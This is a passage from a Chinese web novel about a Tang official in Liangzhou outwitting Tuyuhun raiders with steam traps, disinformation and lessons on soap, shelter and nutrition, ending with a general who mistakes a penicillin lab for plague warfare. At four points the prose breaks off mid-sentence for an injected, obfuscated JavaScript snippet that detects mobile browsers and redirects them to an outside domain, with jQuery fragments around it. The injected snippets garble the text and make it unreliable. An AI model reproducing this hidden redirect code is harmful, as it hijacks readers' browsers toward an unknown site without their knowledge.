他的部落被伏允强行吞并,族里的青壮被推到阵前当炮灰。
就连他最疼爱的侄子阿布拉,也在昨日的溃败中被唐军俘虏,生死不明。
一想到这些,巴特尔的心就如同被草原的狼群反复撕咬,焦躁不安。
“首领!首领!”
一个熟悉的声音从帐外传来,紧接着,一个年轻的族人跌跌撞撞地冲了进来,手里还紧紧抱着一个用麻布包裹的东西。
是阿布拉!
“阿布拉,你……你没死?”
巴特尔看到自己的侄子,又惊又喜,一个箭步冲上去,抓着他的肩膀反复打量。
“他们把我放回来了!还给了我这个!”
阿布拉将那个麻布包裹放在地上,“说是什么……凉州特产礼品包。”
巴特尔嗤笑一声,一脚踢向那个包裹:“唐人的东西,肯定不是什么好玩意儿。说不定下了毒!”
包裹散开,里面的东西滚了一地。
一块散发着淡淡香味的白色方块,一条触感异常柔软的布料,还有一个在火光下闪着光泽的金属杯子。
“这是什么鬼东西?”
巴特尔捡起那块白色的东西,凑到鼻子前闻了闻,一股从未闻过的清香钻入鼻腔,“怎么这么香?”
“叔叔,你快看这个!”
阿布拉从散乱的物品中捡起一张折叠整齐的油纸,小心翼翼地展开,“上面画了好多画!”
巴特尔不耐烦地接过油纸,随手铺开,可只看了一眼,整个人就愣住了。
油纸的一面,是一组连环画。
画工虽然简单,但意思却清晰易懂。
第一格,一个穿着吐谷浑服饰的小孩,肚子鼓鼓胀胀,面黄肌瘦。
第二格,小孩用那块白色的东西洗手,搓出了满手洁白的泡沫。
第三格,小孩肚子里的那些扭曲的虫子不见了,脸色也变得红润健康。
“这……这图上是说,用这白东西洗手,能治好肚子里的病?”
巴特尔喃喃自语。
他猛然想起了自己部落里那些因为上吐下泻而活活拖死的孩子,想起了冬天里那些瘦得只剩皮包骨头的族人。
如果这画上的是真的……
巴特尔强压下内心的震动,将油纸翻到另一面。
这次,他彻底被惊得说不出话来。
另一面画的,是如何改造传统帐篷的详细图解。
先在地下挖出半米深的地窝,用泥土混合草木灰涂抹加固墙壁,然后在帐篷顶部开一个带有挡风板的烟囱。
每一个步骤都画得清清楚楚,甚至连泥土和草木灰的比例都标注了出来。
巴特-尔的手开始不受控制地颤抖。
这种地窝式的帐篷,比他们祖祖辈辈传下来的搭建方法高明了不知多少倍!
半地下的结构能最大程度地抵御寒风,保存热量。
而那个烟囱的设计,更是能让帐内的火烧得更旺,同时又不会被浓烟呛到。
他下意识地抬头看了看自己帐篷顶部那个被寒风吹得哗哗作响的破洞,又看了看蜷缩在角落里,裹着破旧羊皮瑟瑟发抖的族人们。
“阿布拉,你在凉州城里,真的看到了这些东西?”
他的声音带着一丝不易察觉的嘶哑。
“看到了,叔叔!千真万确!”
阿布拉激动得挥舞着双手,“那里的人都在用!他们的房子又高又暖和,晚上睡觉都不用生那么多火!还有,他们食堂的羊肉汤,那香味……我现在想起来都流口水!”
巴特尔沉默了。
他走到帐篷门口,掀开门帘,看着外面黑石部落剩下的两百多族人。
他们有的在缝补破烂的衣服,有的在费力地啃着硬得像石头的肉干,孩子们紧紧抱着母亲,小脸在寒风中冻得发紫。
这就是草原勇士的生活?这就是他们要为伏允那个**拼命守护的东西?
远处的凉州城墙上,林浩正举着望远镜,饶有兴致地观察着吐谷浑营地里的动静。
“都督,您真的觉得,就凭几块肥皂、一张图纸,就能动摇他们的军心?”
马周站在一旁,语气里充满了无法理解的困惑。
林浩放下望远镜,懒洋洋地伸了个懒腰:“马大人,这不叫策反,这叫提高生活质量。”
“生活……标准?”这个词对马周来说太过新奇。
“对。”
林浩指了指远处那些星星点点的营火,“你看他们那些破帐篷,漏风漏雨,一个冬天下来能冻死多少人。我们现在要做的,就是给他们看看什么叫更文明、更舒适的生活方式。当他们习惯了用肥皂洗去身上的臭味,习惯了睡在更暖和的帐篷里,他们就再也回不去了。”
马周听得云里雾里,但林浩接下来的话让他背脊一凉。
“人最大的痛苦,不是从来没有得到过,而是得到过之后又眼睁睁地失去。现在,他们知道了有更好的活法。你觉得,他们还会心甘情愿地为伏允受冻挨饿,跑来送死吗?”
与此同时,城外十里处的干涸河道里,库查正带着五百金狼卫埋伏在那。
“统领,引水渠那边已经反复确认,尽头的铁栅栏确实锈断了一个大口子,足够我们的人钻进去!”
一名侦察兵压低声音,兴奋地汇报。
库查站起身,对着身后五百名精锐压了压手:“那个狂妄自大的林浩,以为龟缩在城墙后面就高枕无忧了。今夜,本统领就要让他知道,什么叫草原狼的獠牙!”
“目标,灯火最明亮的那个地方!那些不停冒黑烟的怪房子!记住,我们的任务是破坏和抓人,不要
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391614|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
恋战!”
五百名金狼卫无声地点头,眼中闪烁着嗜血的光芒,身影很快便融入了深沉的夜色。
凉州城内,俘虏营的扫盲夜校刚刚结束。
图鲁正在收拾那些画满了图画的教材,几个白天表现异常的吐谷浑俘虏又凑了上来,脸上带着讨好的笑容。
他心里记着林浩的吩咐,准备离开,却被林浩叫住了。
“都督!”图鲁立刻小跑过去。
林浩将他带到一处僻静的角落:“图鲁,刚才那几个人,是不是总爱打听工厂区的换班时间和巡逻路线?”
图鲁心中一凛:“都督,您怎么……”
“这几天他们已经问了不下十遍了吧。”
林浩的语气很平静,但图鲁却听出了一丝冰冷的寒意。
“是……是的。”
图鲁的额头开始冒汗,“都督,您的意思是,他们是内鬼?”
林浩没有直接回答,而是掏出一张画得有些粗糙的地图,在月光下铺开。
他用手指在地图上画了几个红圈。
“明天,你想个办法,无意间把这张地图掉在他们能捡到的地方。告诉他们,这几个红圈标注的地方,是新到的珍贵矿石仓库,因为东西太重,还没来得及加强守卫。”
图鲁接过地图,借着月光仔细看了看那几个红圈的位置,顿时满脸困惑:“都督,这几个地方……明明是早就废弃的仓库啊?还有这个,这不是蒸汽锅炉房旁边那个泄压区吗?那里除了管道什么都没有!”
林浩收回地图,拍了拍图鲁的肩膀,笑了笑。
那笑容在图鲁看来,比冬天的寒风还要冷。
“最好的猎人,总是会给猎物,指出一条看起来最安全的死路。”
就在图鲁为林浩的心思感到心惊肉跳时,不远处的医疗队帐篷里,传来了李丽质带着一丝疑惑的问话。
“奇怪,你的伤口只是皮外伤,包扎一下就好,为什么死活不肯让我处理?”
一个身材壮实的吐谷浑俘虏坐在帐篷门口的矮凳上,一个劲地摇头:“不用了,不用了,小伤,过几天自己就好了。”
李丽质秀眉微蹙,她的目光无意间落在了那个士兵的靴子上。
靴底的缝隙里,沾着一些特殊的暗红色泥土。
在帐篷透出的火光下,那红色显得格外醒目。
而据她这段时间对凉州地理的了解,这种特殊的红色泥土,只在城外那条引水渠上游的特定区域才有。
“你这几天都待在俘虏营里,没出去过吧?”李丽质故作随意地问道。
那个士兵的身体明显僵硬了一下,眼神闪躲,慌忙站起身:“我……我有点困了,先回去睡觉了!”
说完,他几乎是落荒而逃,匆匆消失在夜色中。
李丽质站在帐篷门口,看着那个士兵慌张的背影,心中一种不祥的预感油然而生。
第47章:请君入瓮,瓮中捉鳖
子时,月黑风高。
由于五百人集体行动目标太大,库查决定留下三百人在引水渠外接应。
他带着两百名金狼卫精锐,如同两百道无声的鬼影,沿着干涸的河道摸到了凉州城外的引水渠。
“统领,就是这里。”
侦察兵指着那个锈断的铁栅栏,缺口正好能容纳两三人通过,“守卫已经被我们解决了。”
库查满意地点头。
这些唐人太过狂妄自大,居然连这么重要的供水通道都疏于防范。
他挥手示意,两百名精锐无声地钻进引水渠,像泥鳅一样在黑暗的管道中穿行。
凉州城的地下水网四通八达,库查按照事先侦察的路线,带着手下摸到了工厂区的边缘。
他们悄无声息地爬出管道,潜伏在一片废料堆后面。
“统领,接应的人来了。”
一个黑影从远处摸了过来,正是城内的内鬼之一。
“地图呢?”库查压低声音。
内鬼从怀里掏出一张折叠的纸:“这是图鲁那厮不小心掉的,我偷偷捡到的。上面标着好几个红圈,说是新到的珍贵矿石仓库。”
库查接过地图,借着微弱的星光仔细查看。
几个红圈标注的位置,有的在工厂区边缘,有的靠近所谓的科学院。
他心中大喜,这简直是天助我也!
“传令下去,兵分两路。”
库查指着地图上的标记,“我带一百五十人,直取这个最大的矿石仓库。剩下的人,去骚扰科学院后院,制造混乱。”
两支队伍很快分开行动。
库查亲自带领主力,沿着内鬼指引的路线,悄然摸向那个标记着“珍贵矿石仓库”的红圈位置。
一路上出奇的顺利。
几乎没有遇到什么像样的守卫,偶尔碰到的几个巡逻兵,也被他们轻松制服。
这让库查更加确信,唐人根本没有料到他们会从这个方向进攻。
“就是这里了。”
库查停在一座巨大的仓库门前,上面用汉字写着什么,他看不懂,但从建筑的规模来看,里面一定存放着重要物资。
仓库的大门虚掩着,库查小心翼翼地推开一条缝隙,往里面窥探。
黑漆漆的,什么都看不清楚,但空气中弥漫着一股奇怪的金属味道。
“进去!”
库查一挥手,一百五十名金狼卫鱼贯而入。
进入仓库后,库查才发现这里面的布局很奇怪。
空荡荡的大厅里,只摆放着几个巨大的钢铁罐子,每个都有一人多高,表面布满了管道和阀门,看起来像是某种精密的器械。
“统领,这些是什么东西?”一个手下凑到库查身边,小声询问。
库查也摸不着头脑。
按照内鬼的说法,这里应该堆满了珍贵的矿石才对,怎么只有几个破铁罐子?
就在他疑惑之时,身后突然传来一声沉闷的轰鸣。
库查猛地回头,发现仓库的大门不知何时已经轰然落下,将他们彻底困在了里面。
“不好!中计了!”
库查瞬间意识到问题的严重性,但已经来不及了。
四周墙壁上突然响起一阵尖锐的汽笛声,紧接着,数十根管道的阀门同时打开,炽热的白色蒸汽如同愤怒的巨龙,瞬间充满了整个仓库。
“啊——”
第一个金狼卫发出惨叫,他正好站在一根管道的出气口前,高温蒸汽直接喷在他脸上,瞬间就烫得皮开肉绽。
“这是什么妖术!”
其他金狼卫也被突如其来的蒸汽烫得四处逃窜,但仓库四面八方都在喷蒸汽,根本无处可躲。
库查也不例外。
一股蒸汽擦过他的右臂,瞬间就烫出了一大片水泡。
剧烈的疼痛让他险些晕厥过去,但多年的战场经验让他强忍着痛苦,拼命寻找逃生的路线。
整个仓库变成了人间炼狱。
高温蒸汽不仅烫人,更要命的是它们迅速充满了整个空间,让人呼吸困难。
许多金狼卫在惨叫中倒下,有的被烫晕,有的被蒸汽呛得窒息。
“统领!那边有个出口!”
一个侥幸没被烫到的手下指着仓库角落的一个通风口,那里的管道似乎有些松动。
库查顾不得其他,拼命朝那个方向冲去。
高温蒸汽不断喷洒在他身上,每一下都像是被烙铁烫过一般。
他咬紧牙关,用尽全力撞向那个通风口。
“嘭!”
通风口的铁皮在剧烈撞击下变形开裂,勉强够一个人爬过去。
库查不顾一切地钻了进去,身后传来手下们绝望的惨
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391615|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
叫声。
在混乱中,库查怀里的一个皮质卷轴掉了出来,滚落在仓库的角落里,但此刻的他已经顾不上这些了。
另一边,前往科学院后院的金狼卫小队也没有好到哪里去。
五十名精锐按照库查的命令,悄悄摸到了科学院的后院。
这里看起来确实防守薄弱,连个像样的围墙都没有,只是用简陋的木栅栏围了一圈。
“就是这里了。”
领头的百夫长满意地点头,“翻过栅栏,直接冲进去,能抓的抓,能烧的烧!”
五十名金狼卫翻过栅栏,刚一落地,脚下的土地突然开始塌陷。
“怎么回事?”
还没等他们反应过来,一个巨大的深坑出现在他们脚下。
这个坑挖得极有技巧,表面用薄木板和泥土伪装,一旦有重量踩上去立刻就会塌陷。
“啊——”
五十名金狼卫几乎全部掉进了坑里,摔得七荤八素。
更要命的是,坑底撒满了生石灰和辣椒粉。
生石灰遇到汗水立刻产生剧烈的化学反应,烧得他们皮肤生疼,而辣椒粉更是让他们睁不开眼,喘不过气。
“救命——”
坑内一片惨叫声。
就在这时,四周突然出现了十几个戴着简易防毒面具的护卫队员,手里拿着大网,居高临下地将网撒向坑内的敌人。
“一网打尽!”
护卫队长兴奋地喊道,“都督说得对,最好的陷阱就是让敌人自己跳进来!”
坑内的金狼卫被生石灰和辣椒粉折磨得失去了抵抗能力,只能束手就擒。
凉州城墙上,林浩正举着望远镜观察着远处的动静。
虽然看不清具体情况,但从工厂区传来的汽笛声和惨叫声,他已经能判断出结果了。
“都督,陷阱成功了!”
马周激动地跑上城墙,“工厂区和科学院的陷阱都起作用了,敌人几乎全军覆没!”
“不过据说有个统领级别的人物跑了。”
林浩放下望远镜,打了个哈欠:“预料之中,去查查现场,看看有什么遗留物品。”
半个时辰后,护卫队员从那个废弃仓库里搜出了一个皮质卷轴,上面还沾着血迹。
林浩接过卷轴,随手展开,脸上的表情瞬间变得有趣起来。
第48章:我全招,但我不是内奸!
林浩接过那个沾着血迹的皮质卷轴,随手展开,刚看了两眼,脸上就露出了饶有兴致的表情。
“有意思。”
马周凑过来,瞥了一眼卷轴上密密麻麻的吐谷浑文字,茫然摇头:“都督,这上面写的是什么?”
“名单。”林浩将卷轴合上,“库查这家伙倒是个细心人,把凉州城里所有被收买的内应都记录得清清楚楚。从粮食商贩到城防军的小队长,足足有七十三个人。”
马周听得脊背发凉:“都督,那我们现在就去抓人?”
“急什么。”
林浩打了个哈欠,将卷轴扔给马周,“马大人,你去找个靠谱的**员,把这名单翻译出来,然后……不小心泄露一部分。”
马周愣住了:“泄露?都督,您的意思是?”
“就挑十几个名字,让消息意外传出去。”
林浩伸了个懒腰,“记住,要传得像是我们已经掌握了全部名单,正在秘密抓人。”
不到半个时辰,消息就在凉州城内传开了。
“听说了吗?昨夜抓到的奸细招供了,供出了一大批内应!”
“真的假的?都有谁?”
“粮行的王老二、东街的铁匠刘三、还有城防军的李百夫长……”
这些消息传开后,整个凉州城都炸了锅。
被点名的人惶恐不安,没被点名的人也坐立不安。
大家都在猜测,这名单到底有多长?自己会不会也在上面?
王老二是城东粮行的掌柜,确实收过吐谷浑人的金子,帮他们打探过城内的粮食储备情况。
当听到自己的名字在大街小巷传播时,他当场就瘫坐在柜台后面。
“完了,完了……”
王老二抹着冷汗,“他们肯定还知道其他的,不如……”
与此同时,铁匠刘三正在自家铺子里打铁。
听到传言后,手里的铁锤差点砸到自己脚上。
他确实给吐谷浑人修过兵器,还透露过城防军武器的情况。
现在被点名,岂不是死路一条?
东街的茶楼里,几个商贩聚在一起低声议论。
“你们说,这名单上还有多少人?”
“谁知道呢,说不定咱们都在上面。”
“那怎么办?等着被抓?”
“听说昨天都督在城南新建了个监察处,专门处理这种事……”
正当城内人心惶惶时,林浩又发布了一道新公告。
“即日起,凡名单上的内应,主动到监察处自首,并检举其他同伙者,不仅可免除死罪,还能根据功劳大小获得赏金。检举一人,赏银十两。检举五人以上,赏银五十两并免除一切罪名。限时三天,过期不候。”
这道公告一出,那些内应们彻底崩溃了。
他们不知道名单上到底有谁,也不知道同伙会不会为了保命出卖自己。
与其坐以待毙,不如主动出击。
当天下午,新成立的监察处门口就排起了长队。
王老二是第一个赶到的,他抱着一个包袱,满脸惶恐地冲进了监察处。
“大人!我招!我全招!”
王老二跪在地上,“我确实收过吐谷浑人的金子,但我不是真心投敌啊!我只是……”
负责接待的**员淡定地记录着:“说,都有谁?”
“铁匠刘三!他给吐谷浑人修过武器!”
王老二不敢隐瞒,“还有东街卖布的钱二!他帮吐谷浑人打探过城防军换岗的时间!”
还没等王老二说完,门外又冲进来一个人,正是刘三。
“我检举王老二!”刘三喘着粗气,“他勾结外敌,泄露军情!”
“我先来的!”王老二急了,“刘三你这个混蛋,你自己屁股不干净还想陷害我?”
“谁陷害谁还不一定呢!”刘三也不甘示弱,“我还知道钱二、李百夫长他们的事!”
监察处里乱成一团,外面排队的人越来越多。
躲在城内某处下水管道里的库查,通过一个细小的缝隙看到了这一幕。
他费尽心机建立的情报网络,竟然就这样被林浩用一张名单轻松瓦解了。
“该死的林浩……”库查咬牙切齿,气得吐出一口鲜血。
他在这个阴暗潮湿的管道里已经躲了大半天,身上的烫伤还在隐隐作痛。
更要命的是,他已经彻底迷路了。
这该死的地下水道系统比草原上的蛛网还要复杂,他走了半天,根本不知道自己在哪里。
另一边,李丽质正在审问昨夜被俘的金狼卫。
“抬起头来,让我看看。”李丽质仔细观察着眼前这个吐谷浑俘虏的面容。
这名金狼卫虽然身材壮实,但面色蜡黄,手指关节明显肿大,而且一到晚上就说看不清东西。
“这
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391616|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是典型的营养不良症状。”
李丽质皱着眉头,“长期缺乏肉食和蔬菜,体内缺少必要的养分。”
她将这个发现告诉了林浩。
“都督,我发现这些金狼卫虽然看起来强壮,但普遍都有关节肿大、夜盲等问题。如果我们在宣传中加入营养膳食的概念……”
林浩一拍手:“好主意!马上去食堂,让他们准备今天的特殊菜单。”
不到一个时辰,图鲁又站在了城墙上,手里拿着那个巨大的喇叭。
“各位吐谷浑的兄弟们!”
图鲁的声音再次传遍四野,“今天凉州食堂的菜谱是:胡萝卜炖羊肉,可以防治夜盲,让你们在黑夜里也能看得清清楚楚!”
城外吐谷浑营地里,那些正在啃硬邦邦肉干的士兵们纷纷抬起头。
“还有菠菜豆腐汤,能够强健骨骼,治疗关节疼痛!”
一个年轻的吐谷浑士兵摸了摸自己肿胀的手指关节,脸上露出了渴望的表情。
“晚餐还有小米粥配咸菜,养胃健脾,让你们告别肚子疼!”
听到这里,营地里响起了一阵咽口水的声音。
图鲁的广播还在继续:“最重要的是,这些菜品,每一个在凉州工作的人都能免费享用!包括刚刚加入的新伙伴!”
远处的伏允听到这该死的广播声,气得在中军帐里砸碎了好几个茶杯。
“给我想办法堵住他们的嘴!”
伏允对着手下咆哮,“再这样下去,我的军心都要散了!”
可是手下面面相觑,谁也不知道该怎么对付那个该死的大喇叭。
就在这时,库查终于从一个下水道出口爬了出来。
他满身污秽,伤痕累累,像个落汤鸡一样狼狈不堪。
更要命的是,当他抬起头环顾四周时,发现自己根本不在工厂区,而是来到了一个奇怪的地方。
眼前是一排低矮的建筑,门口挂着一块木牌子,上面写着几个他看不懂的汉字:“生化实验室废料处理站”。
空气中弥漫着一股说不出的刺鼻气味,让人闻了就想吐。
库查强忍着恶心,偷偷摸到建筑旁边的一个窗户下面,透过玻璃往里面窥探。
下一秒,他整个人都呆住了。
里面的景象,比他刚才遭遇的蒸汽地狱还要可怕一百倍……
“这……这到底是什么鬼地方?”
第49章:瘟神下凡,唐军要毁灭草原
库查咬着牙,缓缓抬起头,透过那扇模糊不清的玻璃窗向里面窥探。
他本以为会看到什么金银珠宝或者武器装备,但眼前的景象让他瞬间毛骨悚然。
几个穿着白色长袍、戴着奇怪眼罩的人正围在一张木桌前。
他们的脸被白布遮得严严实实,只露出眼睛,手上戴着厚厚的皮手套,看起来就是在做什么见不得人的勾当。
“这到底在干什么?”库查屏住呼吸,紧贴在窗边。
最靠近窗户的那个白袍人,正用长铁钳夹着一块块发霉的饼子。
那些饼子上长满了白色的绒毛,在昏暗的油灯下看起来诡异至极。
更恐怖的是,他们在小心翼翼地将这些“**”刮下来,放进一个透明的玻璃瓶里。
库查的脊背瞬间爬满了冷汗。
这些唐人居然在收集霉菌!
在草原上,任何发霉的食物都会被立刻扔掉,因为吃了会让人上吐下泻,严重的还会**。
可这些唐人竟然在故意培养这种毒物!
他们想干什么?
正当库查百思不得其解时,另一边的白袍人又开始了更加离奇的操作。
几个人正将大量的辣椒和某种他从未见过的刺鼻植物捣碎,混合成一种黄色的粘稠液体,然后装入密封的陶罐里。
空气中弥漫着呛人的味道,就连隔着玻璃,库查都感觉眼泪直流。
这分明就是在制造**!
库查强忍着想要逃跑的冲动,继续往里看。
下一秒,他差点没吓昏过去。
在房间的另一个角落里,堆着大量的死老鼠!
几个白袍人正戴着更厚的手套,用闪闪发光的刀片解剖这些老鼠,然后用细长的针管抽取它们体内的血液。
“瘟神下凡……”库查嘴唇发颤。
在草原上,鼠疫是最可怕的灾难。每当爆发鼠疫,整个部落都会在几天内死绝。
而这些唐人,居然在故意收集鼠血!
他们这是要干什么?要对整个草原发动一场瘟疫战争吗?
库查的大脑开始飞速运转。
培养霉菌、制造毒液、收集鼠疫……
这一切都指向了一个可怕的结论:唐人正在制造一种前所未有的超级瘟疫,准备彻底毁灭草原上的所有部落!
就在他胡思乱想时,房间里又发生了新的状况。
一个白袍人不小心打翻了一个装满绿色液体的器皿,液体洒在地上,立刻冒出了白色的烟雾。
那烟雾刚一接触地面,竟然将土地腐蚀出了一个小坑!
“快后退!所有人都后退!”带头的白袍人立刻大喊,“快拿沙土来掩埋!”
其他白袍人吓得魂飞魄散,纷纷往后躲避,生怕沾到那种可怕的绿色液体。
库查看得眼珠子都快掉出来了。
这些液体连土地都能腐蚀!如果洒在人身上,岂不是瞬间就能把人化为白骨?
太恐怖了,实在太恐怖了!
这些唐人不仅在制造瘟疫,还在制造能够腐蚀血肉的毒液!
他们到底有多么邪恶,才能想出这种灭绝人性的招数?
库查感觉自己的世界观彻底崩塌了。
他原本以为,战争最多就是刀剑相见,强者胜,弱者败。
可没想到,这些看起来文质彬彬的唐人,心思竟然如此狠毒!
他们不想堂堂正正地打仗,而是要用这种阴险毒辣的手段,把整个草原变成人间炼狱!
想到这里,库查的血液都快凝固了。
如果这些毒物真的被投放到草原上,那么不管是老人、孩子,还是勇敢的战士,都会在瘟疫面前不堪一击。
整个吐谷浑民族,可能都会在几天内彻底消失!
他必须立刻把这个消息带回去!
必须让伏允可汗知道,唐人正在准备一场史无前例的瘟疫战争!
库查强忍着身上的剧痛,转身准备离开。
可是他太过惊恐,脚步虚浮,一个踉跄就撞倒了墙边堆放的几个空铁桶。
“哐啷!”
巨大的响声在寂静的夜空中格外刺耳。
“什么人?”房间里的白袍人立刻警觉起来。
"有人在外面!"
“快去看看!”
“可能有人偷看我们的实验!”
库查心中暗叫不妙,拼命想要爬起来逃跑,可是身上的烫伤让他疼得直冒冷汗。
房门被猛地推开,几名手持短**的护卫冲了出来。
“站住!”
一支**箭破空而来,准确地射中了库查的左腿。
“啊!”库查
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391617|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
痛得惨叫一声,却没有停下脚步。
他知道,一旦被抓,等待他的将是比死亡更可怕的折磨。
这些能制造瘟疫的恶魔,绝对不会轻易放过一个偷窥者。
库查咬紧牙关,拖着受伤的腿,一头扎进了旁边的下水道。
冰冷的污水瞬间淹没了他的身体,刺骨的寒意让他差点昏厥过去。
但这次,库查的心中燃烧着前所未有的使命感。
他必须活着回去。必须把这个关乎草原生死存亡的秘密告诉伏允可汗。“该死!跑了!”护卫们追到下水道口,看着黑洞洞的入口,都有些犹豫。
“要不要追?”
“算了,这么黑,万一有埋伏怎么办?而且那家伙伤得那么重,估计跑不远。”
“明天加强巡逻就行了。”
库查在污水中拼命游动,脑海里全是刚才看到的恐怖场景。
霉菌、毒液、鼠疫……
每一个都足以让人毛骨悚然,更别说它们被组合在一起。
他现在终于明白,为什么林浩敢以区区两万人马对抗十万大军了。
因为他们根本不打算正面作战!
他们要用瘟疫这种卑鄙的手段,让整个草原变成死地!
“伏允可汗,您一定要相信我……”库查在心中默默祈祷,“这些唐人,比恶魔还要可怕……”
与此同时,生化实验室废料处理站内,几名研究员正在收拾刚才的混乱。
"刚才那个人看到什么了?"带头的研究员皱着眉头。
"应该看到我们在培育青霉素菌株,还有在提纯辣椒素。"一名助手回答,"哦,还有实验用的小白鼠解剖。"
"会不会误会什么?"
"能误会什么?我们又不是在做什么见不得人的事情。青霉素是用来治病的,辣椒素提纯是为了制作催泪武器,小白鼠解剖是为了研究基础病理学。"
带头的研究员摇摇头:"算了,通知一下护卫队加强巡逻就行。都督说过,科学研究容不得半点马虎。"
但库查不知道这些。
在他有限的认知里,眼前的一切都指向了一个结论:唐人正在制造足以毁灭世界的超级瘟疫。
而这个错误的“绝密情报”,即将彻底改变整场战争的走向……
第50章:他说的是真话,可汗却当他是疯子
寅时三刻,死寂的吐谷浑大营外围,一道凄厉的嘶喊撕裂了寒夜。
“快来人!是库查统领!库查统领回来了!”
篝火旁打盹的哨兵被这声喊叫惊得跳了起来,循声望去,只见两名巡逻兵架着一个血肉模糊的东西,正踉踉跄跄地朝中军大帐冲来。
那东西哪还有半点金狼卫统领的威风!
他身上穿着的皮甲被一种诡异的力量灼烧得处处卷曲,裸露的皮肤上布满了大片大片的水泡和烂肉,散发着一股焦糊与腐臭混合的恶心气味。
他的左腿上,一支**箭齐根而没,黑褐色的血块糊住了整个伤口,整条腿肿得像根木桩。
“可汗!可汗!”
帐帘被猛地掀开,伏允刚从短暂的假寐中惊醒,当他看到被抬进来的“东西”是库查时,整个人都僵住了。
这还是他最勇猛的战将吗?这分明是从地狱里爬出来的怨鬼!
“巫医!把巫医给本汗叫来!快!”伏允的咆哮声带着一丝不易察觉的颤抖。
整个大营瞬间被点燃,火把乱晃,人影奔走。不到一炷香的功夫,须发皆白的老巫医就被两个士兵架了过来。
老巫医在草原上见惯了生死,可当他俯身检查库查的伤势时,一双手也忍不住地抖了起来。
他剪开库查破烂的衣物,一股滚烫的水汽混着血腥味扑面而来。
“可汗,”老巫医的声音干涩无比,“统领的伤……太怪了。这不是火烧的,倒像是被扔进开水锅里活活蒸了一遍。还有这箭,淬了毒,毒已经攻心了。”
“能救吗?”伏允的声音压抑着怒火。
“老朽……尽力。”
两个时辰后,在灌下三大碗苦涩的草药后,库查终于从昏迷中挣扎着睁开了眼睛。他那双曾经如鹰隼般锐利的眸子,此刻只剩下无尽的恐惧和混乱。
“可汗……”他一开口,声音嘶哑得像是破掉的风箱,拼命想要撑起身体,“陷阱……是陷阱……林浩……那个恶魔……”
“你别动!”伏允一把按住他抖个不停的肩膀,“到底怎么回事?五百金狼卫呢?!”
“**……都**……”库查的眼泪混着血水淌了下来,他像是想起了什么,猛地抓住伏允的手臂,指甲深陷进肉里,“可汗!他在制造瘟疫!真正的瘟疫!”
“什么?”伏允的眉头拧成了一个疙瘩。
“臣亲眼所见!”库查激动地剧烈咳嗽,嘴角溢出暗红的血沫,“他们……他们在一个不见天日的地下魔窟里……把发了霉的饼子上的绿毛刮下来,装在透明的水晶盘子里养着!那些绿毛……是活的!它们在动,在吃东西!”
他的声音充满了神经质的恐惧,让在场的人无不毛骨悚T然。
“他们还抓来死老鼠!浑身流脓、烂掉的老鼠!用针管子抽它们的血!那血是黑色的!他们把毒血存起来,肯定是要倒进我们的河里!”
“还有绿色的毒水!那水滴在地上,地就烧出一个洞!人要是沾上……”库查说到这里,再也说不下去,全身痉挛般地抽搐起来,喉咙里发出“嗬嗬”的怪响,仿佛又回到了那个充满消毒水气味的恐怖实验室。
伏允听得心惊肉跳,但理智又告诉他这一切太过荒诞。
“统领大人,”一旁的老巫医忍不住低声开口,“您描述的这些,很像是中了剧毒后产生的幻象。您的肺腑被热气所伤,心神失守,看到的东西……恐怕做不得真。”
“幻象?”库查猛地转头,赤红的双眼死死盯着老巫医,“我亲手捏碎了一个水晶盘子!那东西划破了我的手!他们的人冲上来,用一种比烈酒还烧人的水给我冲手!然后涂上白色的药膏!你们说,这是幻象?!”
他说着,举起自己被简单包扎过的右手,绷带下隐隐透出诡异的白色。
伏允的疑心更重了。他盯着库查涣散的瞳孔,突然问了一个关键问题:“库查,让你去拿的内奸名单呢?”
库查脸上的血色瞬间褪尽,变得一片死灰。
“名单……臣……臣在水渠里……弄丢了……”
伏允的心,彻底沉了下去。
五百金狼卫全军覆没,最重要的情报也丢了。换来的,却是自己最信任的大将带回的一堆疯话。
“来人!”伏允的声音冷得像冰,“把库查统领带去偏帐,好生看管!没有我的命令,谁也不准去打扰!”
